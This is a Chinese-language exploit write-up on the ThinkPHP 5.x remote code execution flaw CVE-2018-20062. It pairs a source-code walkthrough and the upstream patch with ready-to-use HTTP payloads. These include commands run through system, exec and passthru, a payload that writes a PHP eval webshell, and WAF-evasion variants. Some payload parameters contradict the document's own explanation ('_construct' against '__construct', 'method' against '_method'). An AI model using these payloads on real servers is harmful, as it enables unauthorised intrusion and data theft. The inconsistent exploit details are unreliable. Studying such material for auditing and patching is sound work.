漏洞概述
CVE-2018-20062是ThinkPHP 5.0/5.1分支中经典的任意方法调用 + 变量覆盖组合 RCE 漏洞。漏洞成因源于框架请求模拟机制的安全校验缺失,攻击者可通过可控的method参数调用Request类魔术方法,结合属性覆盖篡改过滤回调,最终利用calluser_func动态函数调用实现任意代码执行。
该漏洞无需路由适配、无需业务漏洞配合,全站通用、无前置条件、可批量利用,是 ThinkPHP 安全审计的核心入门漏洞。
影响版本
- ThinkPHP 5.0.x <= 5.0.23
- ThinkPHP 5.1.x <= 5.1.31
漏洞前置机制
ThinkPHP5 为兼容 RESTful 接口,支持通过 POST 提交 _method 参数覆写当前请求方法,用以模拟 PUT、DELETE 等不被浏览器原生支持的请求方式。核心逻辑位于 Request::method(),框架会将用户传入的 _method 参数值直接作为方法名动态调用,未做合法请求方法白名单校验,造成任意方法调用入口。
漏洞原理与源码审计
任意方法调用
文件:thinkphp/library/think/Request.php
method() 方法直接读取用户可控的 _method 参数,通过可变变量完成方法调用:
if (isset($_POST['_method'])) {
$method = strtolower($_POST['_method']);
$this->$method();
}此处高危点:用户完全可控 $method,可调用类内任意可访问方法,包括魔术方法 __construct。
构造函数变量覆盖
Request 类构造函数支持传入数组批量赋值类属性,且仅校验属性是否存在,无权限与来源校验:
public function __construct($options = [])
{
if (!empty($options)) {
foreach ($options as $key => $val) {
if (property_exists($this, $key)) {
$this->$key = $val;
}
}
}
}攻击者通过 method=_construct 触发构造方法,即可覆写 Request 类的 filter、server 等关键属性,完成配置劫持。
动态回调函数执行
框架参数过滤逻辑 filterValue 使用 call_user_func 执行用户指定的过滤回调:
protected function filterValue($value, $filter)
{
if (is_array($filter)) {
foreach ($filter as $func) {
$value = call_user_func($func, $value);
}
} else {
$value = call_user_func($filter, $value);
}
return $value;
}正常场景下 filter 为安全过滤函数,经过变量覆盖后,filter 可被可控为 system、exec 等命令执行函数,参数由 server 属性可控,最终触发 RCE。
完整漏洞利用链
可控 _method 参数 → 任意方法调用 → 触发 __construct → 覆写 filter、server 属性 → filterValue 动态回调 → 任意系统命令执行
标准利用 Payload:
POST / HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
method=_construct&filter[]=system&server[REQUEST_METHOD]=whoami利用逻辑拆解:
1. method=_construct:调用构造函数开启变量覆盖;
2. filter[]=system:将参数过滤回调替换为系统命令执行函数;
3. server[REQUEST_METHOD]=whoami:指定待执行的系统命令;
4. 框架自动调用参数过滤逻辑,执行 system('whoami'),完成 RCE。
绕过技巧
常规Payload局限性
上文标准 Payload 依赖 server[REQUEST_METHOD] 传参执行命令,在部分简易 WAF、关键字拦截场景下,system、REQUEST_METHOD 等特征极易被拦截。实战中需适配无特征、变形利用方式,同时该漏洞支持多参数、多回调函数组合利用,拓展性极强。
替换回调函数 Payload(绕过system关键字拦截)
除 system 外,PHP 多款高危动态回调函数均可适配该漏洞,可规避针对 system 的专属拦截规则,适配命令执行、代码执行两种场景:
# 1. exec 命令执行(返回命令执行结果数组)
method=_construct&filter[]=exec&server[REQUEST_METHOD]=whoami
# 2. shell_exec 命令执行(完整回显结果)
method=_construct&filter[]=shell_exec&server[REQUEST_METHOD]=ipconfig
# 3. passthru 无过滤命令执行(适合无回显场景)
method=_construct&filter[]=passthru&server[REQUEST_METHOD]=net user无回显命令执行Payload(实战脱库/写马)
针对部分无回显环境,可通过重定向输出文件实现结果落地,完成写文件、导出数据等高危操作,贴合实战渗透落地需求:
# 写入一句话木马(无回显Getshell)
method=_construct&filter[]=file_put_contents&server[REQUEST_METHOD]=<?php @eval($_POST[cmd]);?>&server[PATH_INFO]=shell.php
# 命令结果导出到本地文件
method=_construct&filter[]=system&server[REQUEST_METHOD]=whoami > ./result.txt参数变形绕过(规避基础WAF正则)
针对拦截 method=_construct 完整特征的基础防护,可利用框架参数解析特性变形绕过,核心原理为框架自动清洗多余空格、特殊字符,不影响方法调用逻辑:
# 空格变形绕过
method= _construct &filter[]=system&server[REQUEST_METHOD]=whoami
# 大小写混合绕过(框架自动转小写)
method=_CONSTRUCT&filter[]=SYSTEM&server[REQUEST_METHOD]=whoami深层原理细节
属性覆盖限制:仅可覆写 protected/public 类属性,private 私有属性无法被遍历覆盖,这也是仅 filter、server 等属性可被利用的核心原因;
触发必然性:框架生命周期中,param() 参数解析逻辑必执行,因此篡改后的 filter 回调一定会触发,无概率性问题;
版本差异:5.1 版本利用逻辑完全一致,仅部分属性命名细微差异,Payload 通用,无需适配修改。
补丁修复
5.0.24 版本修复核心为请求方法白名单机制,彻底杜绝任意方法调用:
$method = strtolower($_POST['_method']);
if (!in_array($method, ['get', 'post', 'put', 'delete', 'patch'])) {
$method = 'get';
}修复后仅允许合法 REST 请求方法,__construct 等非法方法被直接拦截,从漏洞入口彻底失效。
漏洞核心复盘
该漏洞属于典型的功能安全缺失 + 危险函数组合漏洞,核心问题三点:
1. 可控参数直接映射为方法调用,无白名单边界,造成高危调用入口;
2. 类构造函数支持外部批量属性赋值,造成大范围变量覆盖风险;
3. 动态回调函数 call_user_func 信任框架配置,未做二次安全校验,导致配置劫持直达 RCE。
总结
CVE-2018-20062 并非复杂漏洞,但其利用链完整、触发条件极简、危害极高,是渗透测试与代码审计学习中不可或缺的经典案例。漏洞本质是开发者过度信任框架内置配置、忽略了用户输入的不可信原则,暴露了框架开发中“功能优先、安全后置”的典型安全缺陷。